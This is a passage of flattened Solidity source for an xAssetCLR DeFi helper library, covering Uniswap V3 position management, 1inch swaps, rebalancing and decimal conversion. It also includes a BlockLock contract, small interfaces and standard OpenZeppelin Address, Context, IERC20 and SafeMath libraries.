getToken1AmountInWei( token1AmtSwapped, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); } else { amountInSwapped = getToken1AmountInWei( token1AmtSwapped, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); amountOutReceived = getToken0AmountInWei( token0AmtSwapped, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); } // require minimum amount received is > min return require( amountOutReceived > minReturn, "One inch swap not enough output token amount" ); } /** * Approve 1inch v3 for swaps */ function approveOneInch(IERC20 token0, IERC20 token1) public { token0.safeApprove(oneInchExchange, type(uint256).max); token1.safeApprove(oneInchExchange, type(uint256).max); } /* ========================================================================================= */ /* NFT Position Manager Helpers */ /* ========================================================================================= */ /** * @dev Returns the current liquidity in a position represented by tokenId NFT */ function getPositionLiquidity(address positionManager, uint256 tokenId) public view returns (uint128 liquidity) { (, , , , , , , liquidity, , , , ) = INonfungiblePositionManager( positionManager ) .positions(tokenId); } /** * @dev Stake liquidity in position represented by tokenId NFT */ function stake( uint256 amount0, uint256 amount1, address positionManager, uint256 tokenId ) public returns (uint256 stakedAmount0, uint256 stakedAmount1) { (, stakedAmount0, stakedAmount1) = INonfungiblePositionManager( positionManager ) .increaseLiquidity( INonfungiblePositionManager.IncreaseLiquidityParams({ tokenId: tokenId, amount0Desired: amount0, amount1Desired: amount1, amount0Min: amount0.sub(amount0.div(MINT_BURN_SLIPPAGE)), amount1Min: amount1.sub(amount1.div(MINT_BURN_SLIPPAGE)), deadline: block.timestamp }) ); } /** * @dev Unstakes a given amount of liquidity from the Uni V3 position * @param liquidity amount of liquidity to unstake * @return amount0 token0 amount unstaked * @return amount1 token1 amount unstaked */ function unstakePosition( uint128 liquidity, PositionDetails memory positionDetails ) public returns (uint256 amount0, uint256 amount1) { INonfungiblePositionManager positionManager = INonfungiblePositionManager(positionDetails.positionManager); (uint256 _amount0, uint256 _amount1) = getAmountsForLiquidity( liquidity, positionDetails.priceLower, positionDetails.priceUpper, positionDetails.pool ); (amount0, amount1) = positionManager.decreaseLiquidity( INonfungiblePositionManager.DecreaseLiquidityParams({ tokenId: positionDetails.tokenId, liquidity: liquidity, amount0Min: _amount0.sub(_amount0.div(MINT_BURN_SLIPPAGE)), amount1Min: _amount1.sub(_amount1.div(MINT_BURN_SLIPPAGE)), deadline: block.timestamp }) ); } /** * @dev Collect token amounts from pool position */ function collectPosition( uint128 amount0, uint128 amount1, uint256 tokenId, address positionManager ) public returns (uint256 collected0, uint256 collected1) { (collected0, collected1) = INonfungiblePositionManager(positionManager) .collect( INonfungiblePositionManager.CollectParams({ tokenId: tokenId, recipient: address(this), amount0Max: amount0, amount1Max: amount1 }) ); } /** * @dev Creates the NFT token representing the pool position * @dev Mint initial liquidity */ function createPosition( uint256 amount0, uint256 amount1, address positionManager, TokenDetails memory tokenDetails, PositionDetails memory positionDetails ) public returns (uint256 _tokenId) { (_tokenId, , , ) = INonfungiblePositionManager(positionManager).mint( INonfungiblePositionManager.MintParams({ token0: tokenDetails.token0, token1: tokenDetails.token1, fee: positionDetails.poolFee, tickLower: getTickFromPrice(positionDetails.priceLower), tickUpper: getTickFromPrice(positionDetails.priceUpper), amount0Desired: amount0, amount1Desired: amount1, amount0Min: amount0.sub(amount0.div(MINT_BURN_SLIPPAGE)), amount1Min: amount1.sub(amount1.div(MINT_BURN_SLIPPAGE)), recipient: address(this), deadline: block.timestamp }) ); } /** * @dev burn NFT representing a pool position with tokenId * @dev uses NFT Position Manager */ function burn(address positionManager, uint256 tokenId) public { INonfungiblePositionManager(positionManager).burn(tokenId); } /* ========================================================================================= */ /* xAssetCLR Helpers */ /* ========================================================================================= */ /** * @notice Admin function to stake tokens * @dev used in case there's leftover tokens in the contract * @dev Function differs from adminStake in that * @dev it calculates token amounts to stake so as to have * @dev all or most of the tokens in the position, and * @dev no tokens in buffer balance ; swaps as necessary */ function adminRebalance( TokenDetails memory tokenDetails, PositionDetails memory positionDetails ) public { (uint256 token0Balance, uint256 token1Balance) = getBufferTokenBalance(tokenDetails); token0Balance = getToken0AmountInNativeDecimals( token0Balance, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); token1Balance = getToken1AmountInNativeDecimals( token1Balance, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); (uint256 stakeAmount0, uint256 stakeAmount1) = checkIfAmountsMatchAndSwap( token0Balance, token1Balance, positionDetails, tokenDetails ); (token0Balance, token1Balance) = getBufferTokenBalance(tokenDetails); token0Balance = getToken0AmountInNativeDecimals( token0Balance, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); token1Balance = getToken1AmountInNativeDecimals( token1Balance, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); if (stakeAmount0 > token0Balance) { stakeAmount0 = token0Balance; } if (stakeAmount1 > token1Balance) { stakeAmount1 = token1Balance; } (uint256 amount0, uint256 amount1) = calculatePoolMintedAmounts( stakeAmount0, stakeAmount1, positionDetails.priceLower, positionDetails.priceUpper, positionDetails.pool ); require( amount0 != 0 || amount1 != 0, "Rebalance amounts are 0" ); stake( amount0, amount1, positionDetails.positionManager, positionDetails.tokenId ); } /** * @dev Check if token amounts match before attempting rebalance in xAssetCLR * @dev Uniswap contract requires deposits at a precise token ratio * @dev If they don't match, swap the tokens so as to deposit as much as possible * @param amount0ToMint how much token0 amount we want to deposit/withdraw * @param amount1ToMint how much token1 amount we want to deposit/withdraw */ function checkIfAmountsMatchAndSwap( uint256 amount0ToMint, uint256 amount1ToMint, PositionDetails memory positionDetails, TokenDetails memory tokenDetails ) public returns (uint256 amount0, uint256 amount1) { (uint256 amount0Minted, uint256 amount1Minted) = calculatePoolMintedAmounts( amount0ToMint, amount1ToMint, positionDetails.priceLower, positionDetails.priceUpper, positionDetails.pool ); if ( amount0Minted < amount0ToMint.sub(amount0ToMint.div(MINT_BURN_SLIPPAGE)) || amount1Minted < amount1ToMint.sub(amount1ToMint.div(MINT_BURN_SLIPPAGE)) ) { // calculate liquidity ratio = // minted liquidity / total pool liquidity // used to calculate swap impact in pool uint256 mintLiquidity = getLiquidityForAmounts( amount0ToMint, amount1ToMint, positionDetails.priceLower, positionDetails.priceUpper, positionDetails.pool ); uint256 poolLiquidity = getPoolLiquidity(positionDetails.pool); int128 liquidityRatio = poolLiquidity == 0 ? 0 : int128(ABDKMath64x64.divuu(mintLiquidity, poolLiquidity)); (amount0, amount1) = restoreTokenRatios( liquidityRatio, AmountsMinted({ amount0ToMint: amount0ToMint, amount1ToMint: amount1ToMint, amount0Minted: amount0Minted, amount1Minted: amount1Minted }), tokenDetails, positionDetails ); } else { (amount0, amount1) = (amount0ToMint, amount1ToMint); } } /** * @dev Swap tokens in xAssetCLR so as to keep a ratio which is required for * @dev depositing/withdrawing liquidity to/from Uniswap pool */ function restoreTokenRatios( int128 liquidityRatio, AmountsMinted memory amountsMinted, TokenDetails memory tokenDetails, PositionDetails memory positionDetails ) private returns (uint256 amount0, uint256 amount1) { // after normalization, returned swap amount will be in wei representation uint256 swapAmount; { uint256 midPrice = getPoolPriceWithDecimals(positionDetails.pool); // Swap amount returned is always in asset 0 terms swapAmount = Utils.calculateSwapAmount( Utils.AmountsMinted({ amount0ToMint: getToken0AmountInWei( amountsMinted.amount0ToMint, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ), amount1ToMint: getToken1AmountInWei( amountsMinted.amount1ToMint, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ), amount0Minted: getToken0AmountInWei( amountsMinted.amount0Minted, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ), amount1Minted: getToken1AmountInWei( amountsMinted.amount1Minted, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ) }), liquidityRatio, midPrice ); if (swapAmount == 0) { return ( amountsMinted.amount0ToMint, amountsMinted.amount1ToMint ); } } uint256 swapAmountWithSlippage = swapAmount.add(swapAmount.div(SWAP_SLIPPAGE)); uint256 mul1 = amountsMinted.amount0ToMint.mul(amountsMinted.amount1Minted); uint256 mul2 = amountsMinted.amount1ToMint.mul(amountsMinted.amount0Minted); (uint256 balance0, uint256 balance1) = getBufferTokenBalance(tokenDetails); if (mul1 > mul2) { if (balance0 < swapAmountWithSlippage) { swapAmountWithSlippage = balance0; } // Swap tokens uint256 amountOut = swapToken0ForToken1( swapAmountWithSlippage, swapAmount, positionDetails, tokenDetails ); amount0 = amountsMinted.amount0ToMint.sub( getToken0AmountInNativeDecimals( swapAmount, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ) ); // amountOut is already in native decimals amount1 = amountsMinted.amount1ToMint.add(amountOut); } else if (mul1 < mul2) { balance1 = getAmountInAsset0Terms( balance1, positionDetails.pool, positionDetails.twapPeriod, tokenDetails.token0Decimals, tokenDetails.token1Decimals, tokenDetails.tokenDiffDecimalMultiplier ); if (balance1 < swapAmountWithSlippage) { swapAmountWithSlippage = balance1; } uint256 midPrice = getPoolPriceWithDecimals(positionDetails.pool); // Swap tokens uint256 amountIn = swapToken1ForToken0( swapAmountWithSlippage.mul(midPrice).div(1e12), swapAmount.mul(midPrice).div(1e12), positionDetails, tokenDetails ); amount0 = amountsMinted.amount0ToMint.add( getToken0AmountInNativeDecimals( swapAmount, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ) ); // amountIn is already in native decimals amount1 = amountsMinted.amount1ToMint.sub(amountIn); } } /** * @dev Get token balances in xAssetCLR contract * @dev returned balances are in wei representation */ function getBufferTokenBalance(TokenDetails memory tokenDetails) public view returns (uint256 amount0, uint256 amount1) { IERC20 token0 = IERC20(tokenDetails.token0); IERC20 token1 = IERC20(tokenDetails.token1); return ( getBufferToken0Balance( token0, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ), getBufferToken1Balance( token1, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ) ); } /** * @dev Get token0 balance in xAssetCLR */ function getBufferToken0Balance( IERC20 token0, uint8 token0Decimals, uint256 token0DecimalMultiplier ) public view returns (uint256 amount0) { return getToken0AmountInWei( token0.balanceOf(address(this)), token0Decimals, token0DecimalMultiplier ); } /** * @dev Get token1 balance in xAssetCLR */ function getBufferToken1Balance( IERC20 token1, uint8 token1Decimals, uint256 token1DecimalMultiplier ) public view returns (uint256 amount1) { return getToken1AmountInWei( token1.balanceOf(address(this)), token1Decimals, token1DecimalMultiplier ); } /* ========================================================================================= */ /* Miscellaneous */ /* ========================================================================================= */ /** * @dev Returns token0 amount in token0Decimals */ function getToken0AmountInNativeDecimals( uint256 amount, uint8 token0Decimals, uint256 token0DecimalMultiplier ) public pure returns (uint256) { if (token0Decimals < TOKEN_DECIMAL_REPRESENTATION) { amount = amount.div(token0DecimalMultiplier); } return amount; } /** * @dev Returns token1 amount in token1Decimals */ function getToken1AmountInNativeDecimals( uint256 amount, uint8 token1Decimals, uint256 token1DecimalMultiplier ) public pure returns (uint256) { if (token1Decimals < TOKEN_DECIMAL_REPRESENTATION) { amount = amount.div(token1DecimalMultiplier); } return amount; } /** * @dev Returns token0 amount in TOKEN_DECIMAL_REPRESENTATION */ function getToken0AmountInWei( uint256 amount, uint8 token0Decimals, uint256 token0DecimalMultiplier ) public pure returns (uint256) { if (token0Decimals < TOKEN_DECIMAL_REPRESENTATION) { amount = amount.mul(token0DecimalMultiplier); } return amount; } /** * @dev Returns token1 amount in TOKEN_DECIMAL_REPRESENTATION */ function getToken1AmountInWei( uint256 amount, uint8 token1Decimals, uint256 token1DecimalMultiplier ) public pure returns (uint256) { if (token1Decimals < TOKEN_DECIMAL_REPRESENTATION) { amount = amount.mul(token1DecimalMultiplier); } return amount; } /** * @dev get price from tick */ function getSqrtRatio(int24 tick) public pure returns (uint160) { return TickMath.getSqrtRatioAtTick(tick); } /** * @dev get tick from price */ function getTickFromPrice(uint160 price) public pure returns (int24) { return TickMath.getTickAtSqrtRatio(price); } /** * @dev Subtract two numbers and return absolute value */ function subAbs(uint256 amount0, uint256 amount1) public pure returns (uint256) { return amount0 >= amount1 ? amount0.sub(amount1) : amount1.sub(amount0); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; /** Contract which implements locking of functions via a notLocked modifier Functions are locked per address. */ contract BlockLock { // how many blocks are the functions locked for uint256 private constant BLOCK_LOCK_COUNT = 6; // last block for which this address is timelocked mapping(address => uint256) public lastLockedBlock; function lock(address _address) internal { lastLockedBlock[_address] = block.number + BLOCK_LOCK_COUNT; } modifier notLocked(address lockedAddress) { require( lastLockedBlock[lockedAddress] <= block.number, "Address is temporarily locked" ); _; } } //SPDX-License-Identifier: MIT pragma solidity 0.7.6; interface IxTokenManager { /** * @dev Add a manager to an xAsset fund */ function addManager(address manager, address fund) external; /** * @dev Remove a manager from an xAsset fund */ function removeManager(address manager, address fund) external; /** * @dev Check if an address is a manager for a fund */ function isManager(address manager, address fund) external view returns (bool); /** * @dev Set revenue controller */ function setRevenueController(address controller) external; /** * @dev Check if address is revenue controller */ function isRevenueController(address caller) external view returns (bool); } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * Minimal xAsset interface * Only mintWithToken and burn functions */ interface IxAsset is IERC20 { /* * @dev Mint xAsset using Asset * @notice Must run ERC20 approval first * @param amount: Asset amount to contribute */ function mintWithToken(uint256 amount) external; /* * @dev Burn xAsset tokens * @notice Will fail if redemption value exceeds available liquidity * @param amount: xAsset amount to redeem * @param redeemForEth: if true, redeem xAsset for ETH * @param minRate: Kyber.getExpectedRate xAsset=>ETH if redeemForEth true (no-op if false) */ function burn(uint256 amount, bool redeemForEth, uint256 minRate) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, 